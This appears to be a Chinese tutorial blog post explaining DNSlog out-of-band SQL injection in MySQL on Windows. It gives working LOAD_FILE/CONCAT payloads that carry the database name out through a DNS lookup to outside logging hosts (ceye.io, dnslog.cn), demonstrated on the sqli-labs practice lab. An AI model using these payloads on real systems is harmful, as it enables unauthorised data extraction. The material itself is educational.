当前位置: 首页 > article >正文

SQL注入--DNSlog外带注入--理论

什么是DNSlog?

DNS的作用是将域名解析为IP
而DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问信息。可以理解为DNS服务器上的日志文件。

多级域名
比如blog.csdn.net,以点为分隔,从右向左依次是顶级域名、二级域名、三级域名。
即,net是顶级域名,csdn是二级域名,blog是三级域名。
域名不区分大小写。

DNSlog外带的原理
在进行ping命令时会使用DNS解析:
在这里插入图片描述
这里 %username% 就是被解析后,与csdn.com进行了拼接,然后再去执行Ping命令。
这里我们界面就回显得到了REAL_.csdn.com,也就是得到了username的值。这个过程就可以被称为DNSlog外带。
因此,能够进行DNS请求的函数都有可能存在DNSlog注入

DNSlog外带注入的条件

  1. MYSQL开启 load_file ()
  2. 目标服务器是 Windows 系统
  3. 准备一个 DNSLog 平台

load_file()可以读取那些文件?
load_file()函数读取一个文件并将其内容作为字符串返回。

在my.ini中,存在secure_file_priv这个配置:
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。

为什么只能在windows使用?

因为load_file()进行DNSlog外带的时候要使用windows特有的UNC路径
就是下面这种形式的路径:

\\192.168.31.53\test\

DNSlog平台的使用

在这里插入图片描述
在这里插入图片描述

这里我先向DNSlog平台获取到一个域名,然后将%username%添加到四级域名并进行Ping,外带的信息就会保存到网站上。

外带注入的实现

基本形式:

LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.m8rwsy.ceye.io\\abc'))

concat将后面的字符串拼接起来,拼接成功后的形式应该是:

\\\\(SELECT HEX(database())).m8rwsy.ceye.io\\abc

DNSlog外带的域名:
\\(SELECT HEX(database())).m8rwsy.ceye.io\abc

这里四个反斜杠\\\\被转义为两个反斜杠\\,同理两个反斜杠被转义为一个反斜杠。

这里用sqli-labs第七关举例:

?id=-1')) union select load_file(concat('\\\\',(select hex(database())),'.wfdh2v.dnslog.cn\\abc')),2,3--+

在这里插入图片描述
在这里插入图片描述
成功外带。返回的是十六进制的编码数据,转为文本看看:
在这里插入图片描述得到数据库名security.


http://www.kler.cn/a/408074.html

相关文章:

  • Makefile基础应用
  • 003 STM32基础、架构以及资料介绍——常识
  • 取电快充协议芯片,支持全协议、内部集成LDO支持从UART串口读取电压电流消息
  • JavaScript数据类型判断之Object.prototype.toString.call() 的详解
  • 19.QT程序简单的运行脚本
  • 采用python3.12 +django5.1 结合 RabbitMQ 和发送邮件功能,实现一个简单的告警系统 前后端分离 vue-element
  • Android开发实战班 - 应用架构 - 单向数据流(Unidirectional Data Flow, UDF)
  • Java 8 Stream API 在数据转换中的应用 —— 将列表转换为映射
  • 怎么只提取视频中的声音?从视频中提取纯音频技巧
  • 【StarRocks】starrocks 3.2.12 【share-nothing】 多Be集群容器化部署
  • 【AI系统】GPU 架构与 CUDA 关系
  • 简单版面试
  • 大语言模型---LoRA中损失值的计算
  • 基于vue框架的的网约车订单管理系统iu447(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • c#注册机制作(根据机器码生成注册码和注册文件)
  • 嵌入式LVGL自定义纯数字键盘
  • 使用argo workflow 实现springboot 项目的CI、CD
  • 视频美颜SDK开发详解:构建实时直播美颜平台的全流程
  • php用for循环比较数组对应值是否包含的方法,可错位比较
  • 当产业经济插上“数字羽翼”,魔珐有言AIGC“3D视频创作大赛”成功举办
  • 功耗中蓝牙扫描事件插桩埋点
  • Qt-常用输入类控件
  • 好用的 IDEA 插件
  • 【LeetCode面试150】——219存在重复元素
  • C语言内存结构
  • 微网能量管理研究